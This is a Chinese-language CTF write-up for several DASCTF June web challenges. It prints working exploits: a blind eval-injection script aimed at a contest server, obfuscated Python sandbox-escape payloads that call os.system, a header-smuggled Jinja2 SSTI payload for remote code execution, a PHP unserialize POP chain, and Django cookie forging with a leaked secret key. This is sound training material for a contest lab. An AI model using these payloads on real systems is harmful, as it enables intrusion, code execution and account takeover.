安恒六月赛DASCTF June Writeup

Author:颖奇L’Amore Blog:www.gem-love.com

本次比赛因为参与出题了(web/checkin web/Subscribemisc/PhysicalHacker),就开了个小号主要是做做其他师傅的题,对分数排名也没啥追求,好多题做了也没交flag。然后因为安恒有规定,自己出的题就不写wp了,其他师傅的题也都很有意思,挑几个题写写wp


简单的计算题-1

考点:python布尔盲注 难度:简单


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import black_list,create
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)

## flag is in /flag try to get it

@app.route('/', methods=['GET', 'POST'])
def index():

def filter(string):
for black_word in black_list:
if black_word in string:
return "hack"
return string

if request.method == 'POST':
input = request.form['input']
create_question = create()
input_question = session.get('question')
session['question'] = create_question
if input_question==None:
return render_template('index.html', answer="Invalid session please try again!", question=create_question)
if filter(input)=="hack":
return render_template('index.html', answer="hack", question=create_question)
try:
calc_result = str((eval(input_question + "=" + str(input))))
if calc_result == 'True':
result = "Congratulations"
elif calc_result == 'False':
result = "Error"
else:
result = "Invalid"
except:
result = "Invalid"
return render_template('index.html', answer=result,question=create_question)

if request.method == 'GET':
create_question = create()
session['question'] = create_question
return render_template('index.html',question=create_question)

@app.route('/source')
def source():
return open("app.py", "r").read()

if __name__ == '__main__':
app.run(host="0.0.0.0", debug=False)

两个计算器题目差不多,都是一个计算器

分析代码可知,他是有一个黑名单waf但是我们不知道是什么,然后就是eval(算式==input),并且有三种不同回显,很明显是要我们利用这个eval()来读flag 最开始因为过滤不全可以直接用os.system()一键打穿,后来修复了。那也很简单,就盲注一下就可以了,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import re
from urllib.parse import quote as urlencode

def main():
alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
data={"input":""}
s = requests.Session()

flag = ''
for i in range(0,100):
for char in alphabet:
try:
r = s.post("http://183.129.189.60:10026/", data={"input":""})
question = re.search(r"<h4>(.*)</h4>", r.content.decode(), re.Mre.I).group().replace("<h4>", "").replace("</h4>","")[:-1]
# print(question)
data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)
r = s.post("http://183.129.189.60:10026/", data=data, proxies=proxies)
result = r.content.decode()
# print(char, end=' ')
# print(re.search(r"<h3>(.*)</h3>", result, re.Mre.I).group())
# print(data)
if r"Congratulations" in result:
flag += char
print(flag)
break
except Exception as e:
print("Exception: ", end='')
print(e)

if __name__ == '__main__':
main()


简单的计算题-2

考点:沙箱逃逸 难度:简单 这题我是非预期了,直接逃逸掉了题目所有过滤,虽然俩题的过滤不一样,但是我的payload对这俩题都通杀 其他地方代码都一样,主要是这里:

if request.method == 'POST':
input = request.form['input']
create_question = create()
input_question = session.get('question')
session['question'] = create_question
if input_question == None:
return render_template('index.html', answer="Invalid session please try again!", question=create_question)
if filter(input)=="hack":
return render_template('index.html', answer="hack", question=create_question)
calc_str = input_question + "=" + str(input)
try:
calc_result = str((eval(calc_str)))
except Exception as ex:
calc_result = "Invalid"
return render_template('index.html', answer=calc_result,question=create_question)

这里这个回显更直接,不过我觉得出题人这里不应该给回显,不然这俩题的难度区分实在是有点小。所以我想的是假装它没有任何回显,然后构造payload把题目打穿。很容易就要想到去bypass过滤然后执行系统命令,那么如何bypass?当然是sandbox escape 因为简单fuzz发现这俩题的blacklist还不一样,懒得fuzz这题了,直接准备一个万能payload绕过所有过滤就可以了。那么如何绕?只要实现关键字为字符串拼接不就行了,比如system被过滤,但是总不能把's'+'y'+'s'+'t'+'e'+'m'这样的给过滤吧。 沙箱逃逸老生常谈的话题,我也不想多介绍了,直接用getattr()就行了,虽然getattr()通常被用来bypass.而本题.并没有被过滤。 原型payload:

''.\_\_class\_\_.\_\_mro\_\_\[1\].\_\_subclasses\_\_()\[104\].\_\_init\_\_.\_\_globals\_\_\["sys"\].modules\["os"\].system("ls")

bypass waf变种payload:

getattr(getattr(getattr(getattr(getattr(getattr(getattr(\[\],'\_\_cla'+'ss\_\_'),'\_\_mr'+'o\_\_')\[1\],'\_\_subclas'+'ses\_\_')()\[104\],'\_\_init\_\_'),'\_\_glob'+'al'+'s\_\_')\['sy'+'s'\],'mod'+'ules')\['o'+'s'\],'sy'+'ste'+'m')('l'+'s')

这俩计算器题通杀,都能直接反弹shell:


当然,还有更简单的。。。

eval("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")
exec("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")

把whoami改成反弹shell的就行了(不过只有第一天晚上可以用,后来就被修复了)。


easyflask

考点:RSA、Flask SSTI、Flask Session伪造(非预期可跳过这一步) 难度:困难 第一步是个baby rsa,输入N和e题目给返回c

然后求明文就好了,求出来的就是身份认证需要的token

之后用这个token身份认证,即可来到一个登录页面

输入{{7\*7}},可以发现存在模板注入

可以看到下面这一句说我们不是admin,登录上是有session的,用flask session decoder解一下:

所以这题的大致意思应该是ssti读文件得到secret_key然后伪造session。 但是这个题过滤的实在是太多了,引号、中括号、()join等等,过滤还得自己fuzz,我fuzz出来多少个过滤自己都数不过来。而且不仅用户名有过滤,url里也不能出现相关的黑名单关键字。 本题目没ban掉request,所以基本上就是用request.args.param来绕过,我相信出题人也是这个意思,所以才对url也进行了过滤来保证最后SSTI只能用来文件读取并不能用来RCE。 但作为本次比赛承办方成员之一,本着测题的原则,还是决定一定要RCE,本地写了个flask结果还和题目环境不太一样,导致我好几个payload都本题打得通然后远程打不通。第一天比赛暂停后的1h(0:00)我偷偷开了这题的环境开始RCE,一直到4:30经过四个半小时努力,终于成功打穿。

本题目最大的问题是在于如何绕过黑名单,在url上bypass基本上不可能了,因为字符串什么的都是被ban掉的。后来突然想到可以用header,request.headers的类型为<class 'werkzeug.datastructures.EnvironHeaders'>,一般是request.headers["User-Agent"]这样来获取一个http头字段的值的,然而我们并不能用大括号和引号,看了他的属性也没找到合适的能获取某个字段值的方法

我尝试用元组转列表然后repr()转字符串,然后再切片,经过一通操作,确实成功了,但是丢给flask直接出错,本地调试看到报错才突然想起来,repr()这种函数在模板里都是Undiefined的! 但是后来测试发现,在Jinja2渲染时可以直接request.headers.User-Agent这样获取一个header,那所有问题就直接迎刃而解了!能够获取到header意味着bypass了所有黑名单过滤,之后就是想办法把system()给构造出来了。 构造时候也有几个坑:

  • ()不能用,调用完函数再接上attr()时候可以把前面的括号多套一层括号来绕过
  • 找类的链子很重要,因为题目的class不是固定的
  • listdict__getitem__用法不一样,前者直接index而后者需要键名(字符串)
  • 一步一步来,用__subclasses__()把所有子类打出来然后找合适的
  • 无法反弹shell,os.system()无回显

其他就不多bb了,自己上手操作一下就感受到了,最终payload为:

{{(((({}attr(request.headers.y1ng1)attr(request.headers.y1ng2)))attr(request.headers.y1ng4)(1)attr(request.headers.y1ng3)())attr(request.headers.y1ng4)(398)attr(request.headers.y1ng5)attr(request.headers.y1ng6)attr(request.headers.y1ng4)(request.headers.y1ng7)(request.headers.y1ng8)).read()}}

其中y1ng8是要执行的命令,先把app.py的源码cat出来:

from flask import Flask,render_template,request,session,url_for,redirect,render_template_string
import os
import hashlib

app = Flask(__name__)
# fake
app.config['SECRET_KEY'] = "flag{265eac50c18fa6f255a1fc253dc7ff7b}"
flag = b'flag{265eac50c18fa6f255a1fc253dc7ff7b}'
token = hashlib.md5(flag).hexdigest()
@app.route('/',methods=['GET','POST'])
def index():
global token
message = {"info":"Give me your public key and I will give you token", "token":"null"}
if request.method == 'POST':
N = request.form.get('N') or None
e = request.form.get('e') or None
try:
if N is not None and e is not None:
message["info"] = pow(int.from_bytes(token.encode(), 'big'), int(e), int(N))
except:
message["info"] = "N or e wrong"

user_token = request.form.get('token') or None
if user_token == token :
session['token'] = token

return redirect(url_for('login'))
else:
message["token"] = "wrong"
return render_template('index.html', message = message)

@app.route('/login/',methods=['GET','POST'])
def login():
global token
if session.get('token',None)==token:
if request.method == 'POST':
username = request.form.get('username')
session['username'] = username
session['admin'] = False

return redirect(url_for('user'))

return render_template('login.html')

return redirect(url_for('index'))

def check(payload, url):
black_list = ['sys', 'dict', 'self', 'range', 'format', ']', 'namespace', 'popen', '[', 'timeit', 'os', '__class__', "'", 'pty', 'joiner', '"', 'g', 'subprocess', 'join', 'config', 'commands', 'importlib', 'class', '_', 'url_for', 'system', 'import', 'eval', 'exec', 'lipsum', 'platform', 'request[request.', 'get_flashed_messages', 'cycler', '%2b', 'session', '()', '+']
sys_list = ['sys', 'dict', 'self', 'range', 'format', ']', 'namespace', 'popen', '[', 'timeit', 'os', "'", 'pty', 'joiner', '"', 'g', 'subprocess', 'join', 'config', 'commands', 'importlib', 'url_for', 'system', 'import', 'eval', 'exec', 'lipsum', 'platform', 'request[request.', 'get_flashed_messages', 'cycler', '%2b', 'session', '()', '+']
for i in sys_list:
if url.find(i) != -1:
return False
for i in black_list:
if payload.find(i) != -1:
return False

return True

@app.route('/user/',methods=['GET'])
def user():
try:
if (session['username'] != "") and (request.method == 'GET') and session.get('token',None):
name = request.args.get('username') or session.get('username',None)

template = '''
<p>The girls in DASCTF are beautiful !</p></br>
<p>Congratulations on %s's girlfriend!</p>
<p>But admin is {{ session.admin }}!You can't get /flag</p>
''' % name

if name!="" and check(name,request.url):
return render_template_string(template, name=name)
else:
return "check error"
except:
template = '<h2>something wrong!</h2>'
return render_template_string(template)

@app.route('/flag/',methods=['GET'])
def get_flag():
if session.get('admin',None):
return os.getenv('FLAG')
return "No permission for true flag"

@app.errorhandler(404)
def page_not_found(e):
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
</div>
'''
return render_template_string(template)

这里面有个flag但是是假flag,那个只是secret_key,代码告知真正的flag在环境变量中,所以执行以下env就行了:

这里我payload用的是os.popen().read()所以是有回显的。 如果是读文件,读完了源码得到了key,只要伪造session就好了:

之后带着session去访问http://xxx/flag即可得到flag


phpuns

考点:PHP反序列化字符逃逸 难度:普通 和四月月赛的反序列化大体一样 https://www.gem-love.com/ctf/2275.html 登录就把用户和密码存进session,然后对session反序列化。这过程中会进行字符替换造成字符逃逸:

function add($data)
{
$data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
return $data;
}

function reduce($data)
{
$data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);
return $data;
}
function check($data)
{
if(stristr($data, 'c2e38')!==False){
die('exit');
}
}
//序列化
$user = new User($username, $password);
$_SESSION['info'] = add(serialize($user));
//反序列化
check(reduce($_SESSION['info']));
$tmp = unserialize(reduce($_SESSION['info']));

class.php:

<?php
class User{
protected $username;
protected $password;
protected $admin;

public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
$this->admin = 0;
}

public function get_admin(){
return $this->admin;
}
}


class Hacker_A{
public $c2e38;

public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function __destruct() {
if(stristr($this->c2e38, "admin")===False){
echo("must be admin");
}else{
echo("good luck");
}
}
}
class Hacker_B{
public $c2e38;

public function __construct($c2e38){
$this->c2e38 = $c2e38;
}

public function get_c2e38(){
return $this->c2e38;
}

public function __toString(){
$tmp = $this->get_c2e38();
$tmp();
return 'test';
}

}

class Hacker_C{
public $name = 'test';

public function __invoke(){
var_dump(system('cat /flag'));
}
}

pop链很简单: Hacker_A__destruct()中将$this->c2e38作为字符串比较,触发Hacker_B__toString() __toString()中通过调用$this->get_c2e38()方法获取了Hacker_B$c2e38属性并作为方法调用$tmp(),进而触发Hacker_C__invoke()方法 __invoke()system('cat /flag'),得到flag pop链构造好,然后字符逃逸注入对象,之后反序列化最终触发system()即可。字符逃逸原理去看DASCTF四月月赛的Ezunserialize就好了,不再过多介绍了 exp:

输入如下用户名和密码:

username:y1ng\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0\\0\*\\0
password:";S:11:"\\00\*\\00password";O:8:"Hacker\_A":1:{S:5:"\\63\\32\\65\\33\\38";O:8:"Hacker\_B":1:{S:5:"\\63\\32\\65\\33\\38";O:8:"Hacker\_C":1:{s:4:"name";s:4:"test";}}};s:1:"a";s:0:"

顺便说下,因为题目把c2e38给ban了,所以用S:5:"\63\32\65\33\38"来绕过,和用S+\00来绕过chr(0)是一样的,因为S大写,后面字符串里就可以解析hex了


filecheck

考点:_io.TextIOWrapper类、Django session伪造
难度:难

显示随便注册登录,然后登录,在readable可以看是否有读取某个文件的权限

根据这个file参数,换成读取别的,被告知必须是xyz结尾的

因为昨天做easyflask时候发现出题人用了uri,然后这题和那个题是同一个人出的,我感觉可能相同办法,于是后面加了个参数果然就OK了

然后如果是不存在的文件,就会爆出file not found的错,说明这个功能可以探测文件是否存在

然而,这也没啥用。过了一会儿,一个偶然的小失误,因为吧readable手打给拼错了,直接爆出了重要信息

_io.TextIOWrapper肯定无人不晓, f=open('/tmp/1,txt','r'),然后f就是<_io.TextIOWrapper name='/tmp/1.txt' mode='r' encoding='UTF-8'>,然后用dir()看下它的属性:

可以发现readable实际上就是它的一个方法,他还有readreadline等可以读文件,所以直接调用read()方法读文件:

比赛结束时有个师傅告诉我,这个任意文件读取可以直接非预期一把梭:

不过我当时没想起来这么用。。一时间卡住了不知道读什么文件好了。之后我就来fuzz,首先得知当前运行的文件肯定是在/xxx/目录内,距离根目录只有一层

然后/app目录也是存在的,所以基本上flask就在/app目录下

可是读app.py没读到源码,之后就根据flask的常见layout开始逐个爆破

最后因为最开始的readable给了challenge文件夹,可能是个project,根据Structure of a Flask Project在里面读到了views.py

views.py里存了一些路由,没什么卵用,只是告诉我们那个sha256的token只是障眼法不需要爆破

def read_file(request):
if not request.session.get('is_login', None):
return redirect('/')
message = "Read"
# chen
token = request.GET.get('token') or None
try:
if hashlib.sha256(token.encode()).hexdigest()[:20] == '3abd72ec6352d6085d85':
error = "Not here.Be careful!"
return render(request, 'index/index.html', locals())
except Exception as error:
error = "sha256(GET[token])[:20] must be 3abd72ec6352d6085d85"
return render(request, 'index/index.html', locals())
return render(request, 'index/index.html', locals())

之后根据/proc/self/cmdline得到了manage.py,读取一下:

#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys


def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'hainep.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)


if __name__ == '__main__':
main()

从这个姜狗有关的代码中得到了一个关键字:hainep.settings 然后因为他自己也说了用了Django,并且还给了project的名叫hainep:

果然hainep这个文件夹是存在的

参考:

https://docs.djangoproject.com/en/2.2/topics/settings/

然后顺理成章连蒙再猜从hainep/settings.py中读到了django的settings

"""
Django settings for hainep project.

Generated by 'django-admin startproject' using Django 2.2.11.

For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""

import os

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False

ALLOWED_HOSTS = ['*']


# Application definition

INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'challenge',
]

MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'hainep.urls'

TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]

WSGI_APPLICATION = 'hainep.wsgi.application'


# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases

DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}


# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators

AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]


# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/

LANGUAGE_CODE = 'zh-hans'

TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = False



# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/

STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'challenge/static/'),
)

得到SECRET_KEY = '&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn' 然后hint让看cookie,发现是django session,参考:

https://docs.djangoproject.com/en/2.2/topics/signing/

加上题目告诉访问/flag去获取flag,然后我们自己访问还没有权限,于是可以肯定这是个Django session伪造问题。参考:

https://althims.com/2019/10/25/client-session/   https://github.com/ustclug/hackergame2019-writeups/tree/master/official/%E8%A2%AB%E6%B3%84%E6%BC%8F%E7%9A%84%E5%A7%9C%E6%88%88

exp:

import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
from passlib.hash import pbkdf2_sha256
from django.contrib.auth.hashers import make_password, check_password

sess = signing.loads('.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyMjQ0MtcByefkp4PkS4pKYdJ5ibmpSlZKlYZ56Uq1ACNNFxA:1jokij:bIoWAUDVUDfSbXack05GuSCYKMk',
key='&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn',salt='django.contrib.sessions.backends.signed_cookies')
print(sess)
sess[u'is_admin'] = True
print(sess)
s= signing.dumps(sess, key='&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn',compress=True, salt='django.contrib.sessions.backends.signed_cookies')
print(s)

可以发现成功伪造成为了管理员,并得到了新的session

带着新cookie去访问flag即可得到flag:

Author: Y1ng
Link: https://www.gem-love.com/2020/06/26/安恒六月赛dasctf-june-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!